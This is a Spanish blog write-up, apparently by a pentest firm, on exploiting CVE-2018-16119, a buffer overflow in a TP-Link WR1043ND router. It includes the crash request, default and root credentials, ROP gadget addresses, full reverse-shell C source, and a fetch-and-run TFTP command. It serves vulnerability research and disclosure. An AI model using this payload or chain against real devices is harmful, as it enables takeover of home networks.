En este post se hablará sobre el hallazgo (CVE-2018-16119) mientras se realiza una investigación de vulnerabilidades en un router doméstico: El router WiFi doméstico WR1043ND de TP-Link.
Te presentamos los pasos para identificar la vulnerabilidad y cómo se puede explotar para obtener la ejecución remota de código en el dispositivo.
El dispositivo
El dispositivo en el que se realizó esta investigación fue el router WiFi doméstico WR1043ND de TP-Link (versión de firmware 3.00).
Se empezó hacer un Pentest clásico de aplicaciones web buscando vulnerabilidades comunes en la interfaz de administración del dispositivo. La contraseña por defecto para acceder al panel de administración era admin:admin
No se encontró nada interesante alrededor de los componentes por defecto de los dispositivos, pero este dispositivo tiene una funcionalidad realmente curiosa. Cualquier propietario del dispositivo podría conectar un dispositivo externo al Router y habilitar las capacidades NAS-Kind del dispositivo, esta es una característica muy interesante y clave en la campaña de comercialización del producto de TP-Link.
Una vez conectado un dispositivo externo a través del puerto USB se puede utilizar la funcionalidad de Servidor Multimedia para crear y compartir carpetas/archivos a través de la Red Interna.
Cuando el dispositivo creaba una nueva carpeta, se enviaba la siguiente solicitud:
GET /TLROLZZBRWGYNWBA/userRpm/MediaServerFoldersCfgRpm.htm?displayName=testing_folder&shareEntire=%2Ftmp%2Fusbdisk%2Fvolume1&no_use_para_just_fix_ie_sub_bug=&Save=Save HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.1/TLROLZZBRWGYNWBA/userRpm/MediaServerFoldersCfgRpm.htm
Cookie: Authorization=Basic%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D
Connection: close
Upgrade-Insecure-Requests: 1
Lo primero que se notó fue la extraña cadena en la URL: TLROLZZBRWGYNWBA esta cadena actuará como ID de Sesión de un Usuario y se genera en cada Login de Usuario, cualquier modificación de este “token” generará un Logout y destruirá la Sesión de Usuario.
Después de jugar un poco con los parámetros no se consiguió abusar de la petición Add New Folder para conseguir el clásico bug RCE, pero se descubrió que enviando una cadena larga de carácteres dentro del parámetro shareEntire producía que la aplicación se crasheara, la interfaz web dejará de responder peticiones e incluso el AP WIFI dejará de funcionar.
Crash Request:
GET /RRUJDHBBIZYEJLEA/userRpm/MediaServerFoldersCfgRpm.htm?displayName=testing_folder&shareEntire=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA&no_use_para_just_fix_ie_sub_bug=&Save=Save HTTP/1.1
Host: 192.168.0.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.13; rv:62.0) Gecko/20100101 Firefox/62.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.0.1/TLROLZZBRWGYNWBA/userRpm/MediaServerFoldersCfgRpm.htm
Cookie: Authorization=Basic%20YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM%3D
Connection: close
Upgrade-Insecure-Requests: 1
Vista del Repeter en Burp Suite:
Después de esta primera petición cualquier otra interacción falla al conectar con el Servicio Web como puede verse en la siguiente Petición Curl:
Se pensó que este comportamiento podría estar relacionado con una vulnerabilidad de Buffer Overflow, así que se decidió profundizar en el tema. Y surgió un nuevo problema, para depurar el fallo, se necesitaba una forma de ejecutar comandos en el dispositivo.
Acceso al dispositivo
No se encontró una manera de lograr la ejecución de comandos a través de una interfaz web, también no era capaz de conectarse al dispositivo a través de SSH.
La segunda aproximación fue acceder a través de la interfaz UART de la placa. Para ello se necesito realizar un pequeño trabajo de soldadura como se puede ver en la siguiente imagen:
Después del trabajo de soldadura se pudo acceder a la placa usando la interfaz UART de Shikra. Para ello se utilizó la siguiente documentación UART PINOUT:
El Shikra unido al Dispositivo tenía el aspecto de la siguiente imagen:
Después de una conexión exitosa, el siguiente paso es detectar la velocidad de comunicación, para esto se usó Arduino IDE como la GUI de la interfaz UART, jugando con las velocidades en baudios se encontró con que la correcta era: 115200
Se imprimió información útil a la Interfaz UART cuando la placa está arrancando, pero la más importante fue la Arquitectura del Dispositivo: MIPS Big Endian
Tras el arranque del dispositivo se esperaba un intérprete de comandos del sistema desprotegido, pero el dispositivo pidió nombre de usuario y contraseña:
Con este nuevo reto se cambió el enfoque de la investigación. Se descargo el firmware original del dispositivo de la base de datos de routers DD-WRT:
https://download1.dd-wrt.com/dd-wrtv2/downloads/betas/2018/10-10-2018-r37305/tplink_tl-wr1043nd-v2/factory-to-ddwrt.bin
Y con la ayuda de la herramienta Binwalk, se pudo extraer el sistema de archivos del Router.
Binwalk no funcionó correctamente en Mac OSX, pero afortunadamente un contenedor docker realmente bueno podría ser utilizado para ejecutar Binwalk con éxito.
En este punto, se pudo obtener el contenido del archivo / etc / shadow:
Además, se obtiene la representación de la contraseña en texto plano del Hash con la ayuda del motor de búsqueda de Google:
Con esta información se pudo iniciar sesión en el dispositivo utilizando la interfaz UART y las credenciales:
Root:sohoadmin
Depuración del dispositivo
Lo primero que se hizo con este acceso fue comprobar todos los procesos que se ejecutan dentro del Firmware y detectar el encargado de controlar la interfaz web. Como es común en este tipo de dispositivos la aplicación que tenía el control de la aplicación web era el binario: /usr/bin/httpd
Se trataba de una aplicación que utiliza múltiples llamadas fork para generar múltiples hilos para controlar diferentes aspectos del dispositivo en el que se centró el último PID de httpd: 548
Para entender lo que pasaba en el dispositivo cuando se enviaba la petición de crash se necesitaba una forma de depurar el binario, para ello es importante un gdbserver compilado para MIPS Big Endian. Hay diferentes formas de conseguirlo, pero la más rápida es obtener una versión compilada del repositorio Github de Rapid7 embedded-tools: https://github.com/rapid7/embedded-tools/tree/master/binaries/gdbserver
Con el binario en la mano, se necesita una forma de transferir el gdbserver al dispositivo agradeciendo que el Firmware incluyera un binario TFTP que me ayuda mucho en el proceso de subida y bajada de archivos del dispositivo.
Se pudo subir archivos a la placa usando un Servidor TFTP (https://github.com/silopolis/tftpgui) y el siguiente comando en la UART Shell:
“tftp -g -r gdbserver.mipsbe 192.168.0.100”
TFTP Server en la Local Machine:
Cliente TFTP en el router WR1043ND:
Con el servidor gdb en su lugar, se pudo adjuntar el /usr/bin/httpd PID: 548 y se envió la solicitud de bloqueo para ver lo que estaba sucediendo en la memoria como se puede ver a continuación:
Como cliente de esta instancia de GDBServer, se usó IDA Pro v6.8 en conjunto con el binario httpd que se obtuvo del Firmware Filesystem.
Para lograrlo fue necesario seguir una serie de pasos:Conectar el ordenador al router ESSID
1. Configura IDA Debugger para usar un gdbserver Remoto en la barra principal y configura el
2. GDBServer IP/PORT en Debugger -> Process Options.
3. Desactivar el soporte de uso de pasos en Configuración -> Opciones del depurador -> Configurar opciones específicas para evitar la inestabilidad de los puntos de interrupción.
4. Conéctese al Proceso Remoto y pulse la tecla F9:
En este punto, se envía la solicitud para generar el crash y…
Efectivamente, el Registro $PC (EIP – Equivalente RIP MIPS) fue sobreescrito y se pudo modificar el flujo de ejecución del programa. Además, se obtuvo control sobre varios registros como se puede ver a continuación:
Jugando con el módulo pattern_create. rb de Metasploit Framework, se pudo determinar que se empezaba a sobrescribir memoria después de un relleno de 260 bytes. Después de este relleno los registros comenzaron a ser sobrescritos en este orden: $s0, $s1 y $pc.
Se toma este enfoque debido a que la depuración paso a paso para identificar donde ocurrieron las corrupciones de memoria fue realmente laboriosa porque se tuvo varios errores que se encontraron trabajando con GDB + IDA en este dispositivo MIPS (Los recursos de memoria no performantes del dispositivo congelan el servidor depurador varias veces durante el proceso o el dispositivo simplemente deja de funcionar).
Superficie de ataque
En este punto, se tenía un problema potencialmente explotable, pero para estar seguro de su explotabilidad era necesario investigar un poco más.
En primer lugar, se necesitaba mapear la superficie de ataque, antes de entrar en acción era importante determinar si la Pila y el Heap tenían Privilegios de Ejecución:
Como se puede ver en la imagen de arriba, ambos espacios de memoria permitieron la ejecución (x char en la tercera columna) en el binario principal y también en las librerías.
Lo segundo que había que saber era si el Binario tenía ASLR Activo:
Se pudo determinar que el binario tiene ASLR Parcial activo, esto podría decir que la aplicación aleatorizará sólo la Pila y el Heap en cada ejecución debido a que una Dirección de Pila/Heap codificada no puede ser usada para saltar al shellcode. Sin embargo, las direcciones de los segmentos de código no se aleatorizan y pueden utilizarse para crear una cadena ROP.
Además, fue importante reconocer todas las librerías que la aplicación utilizó en su ejecución y donde hay inicio de mapeo en memoria. Esa información nos ayudará a volver a basar la dirección de la biblioteca y obtener Gadgets útiles para construir una cadena ROP.
Como se puede ver en la imagen de arriba, hay varias librerías en uso, pero se ha centrado la atención en libuClibc-0.9.30.so y su código de ejecución se ha empezado a mapear en 0x2AAE2000
Una buena idea en este punto era descargar las librerías utilizadas por el binario para su posterior análisis, esto podría hacerse utilizando los siguientes comandos:
tftp -p /lib/ld-uClibc-0.9.30.so 192.168.0.100
tftp -p /lib/libpthread-0.9.30.so 192.168.0.100
tftp -p /lib/libuClibc-0.9.30.so 192.168.0.100
tftp -p /lib/libutil-0.9.30.so 192.168.0.100
tftp -p /lib/libwpa_ctrl.so·192.168.0.100
tftp -p /lib/librt-0.9.30.so 192.168.0.100
tftp -p /lib/libmsglog.so 192.168.0.100
tftp -p /lib/libgcc_s.so.1·192.168.0.100
La última cosa importante que se tuvo que hacer fue aprender sobre la Arquitectura de Dispositivos.
Artículos que tratan acerca de la coherencia de cache:
https://www.vantagepoint.sg/papers/MIPS-BOF-LyonYang-PUBLIC-FINAL.pdf
http://www.devttys0.com/2012/10/exploiting-a-mips-stack-overflow/
https://www.fidusinfosec.com/tp-link-remote-code-execution-cve-2017-13772/
Una nota rápida sobre la coherencia de la caché:
Básicamente, cuando un shellcode intenta ser ejecutado en la pila, la CPU comprobará si ya tiene datos de esa dirección en su caché, lo que significa que si un shellcode tiene propiedades de auto-modificación como rutinas de decodificación (En general usaremos algún tipo de rutinas de codificación para evitar badchars), las instrucciones codificadas acabarán siendo ejecutadas en lugar de las decodificadas debido a la coherencia de caché de la Arquitectura MIPS.
Escribiendo el exploit
En este momento, tenemos dos enfoques posibles para explotar este tipo de dispositivo.
Evitar la [In-]coherencia de Caché y ejecutar un Shellcode:
Para lograr la Ejecución Remota de Código con esta técnica se necesita seguir una serie de Pasos:
- Activar el error
- ROP to Sleep(1) => Esto forzará al procesador a refrescar su Caché (Evitando la In-coherencia de Caché)
- Saltar a Shellcode
- La primera parte del shellcode debe descodificar la parte que logrará la ejecución del código.
- ROP to Sleep(1) Again => Para refrescar el Cache con el Shellcode ejecutable decodificado
- Saltar a código shell ejecutable.
Esta es la forma tradicional de explotar los desbordamientos de búfer en la arquitectura MIPS pero después de varios intentos, se decidió descartar debido a que obtengo errores de instrucción ilegal cada vez que se salta al shellcode decodificado.
ROP a Sistema Syscall:
Forma alternativa de explotar este problema:
- Desencadenar el fallo
- Obtener un Puntero a una Cadena CMD => Ya en Memoria (.idata) o Cargado para la Carga Útil (en la Pila)
- ROP a la función del sistema
Este enfoque funcionó increíblemente bien en este dispositivo. Era mucho más simple de explotar y el código del exploit terminó más reducido y limpio.
Para explotar con éxito esta vulnerabilidad siguiendo el enfoque ROP to System Syscall es necesario seguir una serie de pasos.
Construir un shell inverso C/C++ y compilarlo para MIPS Big Endian Arch
Como se quería usar un comando TFTP para descargar un shellcode, antes que nada, se necesitaba construir un shellcode.
Para ello se ha utilizado la siguiente shell inversa:
// Simple Persistent Reverse Shell
// Compile for MIPSBE using the following steps:
// 1) cp reverse_shell_mipsbe.c /tmp/
// 2) docker run -v /tmp/:/tmp/ -it asmimproved/qemu-mips /bin/bash
// Inside Docker:
// 4) cd /tmp ; mips-linux-gnu-gcc -static reverse_shell_mipsbe.c -o shh
// Outside Docker:
// 5) cp /tmp/shh .
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
int main(){
int socket_info;
int connectie;
int pid;
struct sockaddr_in aanvaller_info;
while(1) {
socket_info = socket(AF_INET, SOCK_STREAM, 0);
aanvaller_info.sin_family = AF_INET;
aanvaller_info.sin_port = htons(3000);
aanvaller_info.sin_addr.s_addr = inet_addr("192.168.0.103");
printf("Set data.\n");
printf("Trying to perform a new connection\n");
connectie = connect(socket_info, (struct sockaddr *)&aanvaller_info, sizeof(struct sockaddr));
while(connectie < 0){ printf("Connection Failed\n"); sleep(5); connectie = connect(socket_info, (struct sockaddr *)&aanvaller_info, sizeof(struct sockaddr)); } connectie = write(socket_info,"Connection Completed\n",36); printf("Successful Connection\n"); pid = fork(); if(pid > 0){
printf("Forking Process\n");
wait(NULL);
}
if(pid == 0){
printf("Process Forked Successfully\n");
dup2(socket_info,0); // input
dup2(socket_info,1); // output
dup2(socket_info,2); // errors
execl("/bin/sh", "/bin/sh", NULL);
usleep(3000);
}
printf("The connection was closed, trying to reconnect...\n");
}
return 0;
}
Y para evitar las molestias de la compilación cruzada de C, se ha usado un docker ya construido para cumplir esa misión: https://hub.docker.com/r/asmimproved/qemu-mips/
Se copió el archivo reverse_shell_mipsbe.c en la carpeta /tmp/ y se lo compartío con el docker para compilar el binario desde allí:
Comandos
1) Outside Docker Container:
- docker run -v /tmp/:/tmp/ -it asmimproved/qemu-mips /bin/bash
2) Inside Docker Container:
- cd /tmp
- mips-linux-gnu-gcc -static reverse_shell_mipsbe.c -o shh
- exit
Con el binario ya compilado, se copió el binario shh a la carpeta del servidor TFTP.
Desencadenar la vulnerabilidad, establecer en la Pila un comando en cadena para descargar el Reverse Shell desde el Servidor TFTP atacante y ejecutarlo.
Se necesitaba enviar una petición que activará el bug sobrescribiendo el registro $PC y al final del payload poner en el Stack el siguiente comando:
tftp -g -r shh 192.168.0.103;chmod 777 shh;. /shh
Fue un poco complicado porque el comando anterior necesitaba terminar con el opcode Line Terminated: \x00 que no se pudo enviar vía HTTP Request. Esto obligó utilizar un relleno que permitió establecer el comando en una memoria llena de \x00)
Mueve el puntero de dirección de pila donde está el comando TFTP al registro $a.
En este punto, se necesitaba poner la Dirección de Pila donde se puso el comando TFTP en el registro $a que es el que se usa como primer argumento en la Convención de Llamada MIPS.
Para ello, se necesitaba redirigir el registro $pc controlado a un Gadget ROP que realizará esta operación.
Antes de empezar a buscar gadgets útiles se necesitó hacer rebase de las librerías usando la dirección donde el código ejecutable fue mapeado por el binario, esto se pudo hacer para determinar la posición real de un gadget en memoria debido a que el Sistema Operativo Firmware no estaba protegiendo las direcciones de Memoria con ASLR.
Se conocía que la libuClibc-0.9.30.so empezaba a mapearse en la dirección 0x2AAE2000. Podría utilizar esta información para hacer rebase de la dirección estática de esta biblioteca y empezar a buscar Gadgets que se podrían reutilizar en la memoria binaria real.
Después de tiempo buscando se encontró el siguiente gadget en la librería libuClibc-0.9.30.so que no contiene badchar en su dirección: 0x2AAF84C0
Este gadget moverá la dirección $sp (que apunta a la cadena de comandos) al registro $s2, después de lo cual saltará a la dirección establecida en el registro $s0.
Ya que tengo control sobre $s0 puedo usar un segundo gadget que moverá la dirección de $s2 a $a0 (Primer Argumento de cualquier Función Syscall en MIPS) y salta a la dirección establecida en el registro $s1.
ROP a Sistema
El registro $s1 también está sobrecontrolado, después de establecer un puntero válido a la cadena de comandos en el registro $a0 (Syscall Argument) ahora puedo saltar usando el registro $s1 directamente a la dirección de la función system(): 0x2AB32150 (dirección rebasada) que también está en la librería libuClibc-0.9.30.so.
Con la dirección $sp (Stack Pointer) colocada en el registro $a0 y apuntando a la cadena de comandos, se proceder a saltar a la llamada al sistema (System Syscall) usando el registro $s1.
Si la cadena Rop se ejecuta con éxito, la llamada al sistema utilizará como parámetro el puntero de la cadena de comandos que descargará el binario de shell inverso del servidor TFT atacante, le otorgará permisos de ejecución y lo ejecutará.
Después de esto, lo único que se tuvo que hacer fue esperar a la Shell invertida.
El resultado
Se puede encontrar un exploit completo para esta vulnerabilidad en el siguiente repositorio de Github: https://github.com/hdbreaker/CVE-2018-16119/blob/master/exploit/exploit.py
En Hackmetrix, somos especialistas en Ethical Hacking. Trabajamos con los mejores Hackers de la región para poner a prueba tus sistemas y poder encontrar las vulnerabilidades existentes. ¿Necesitas una prueba de penetración o pentest? Contáctanos ahora.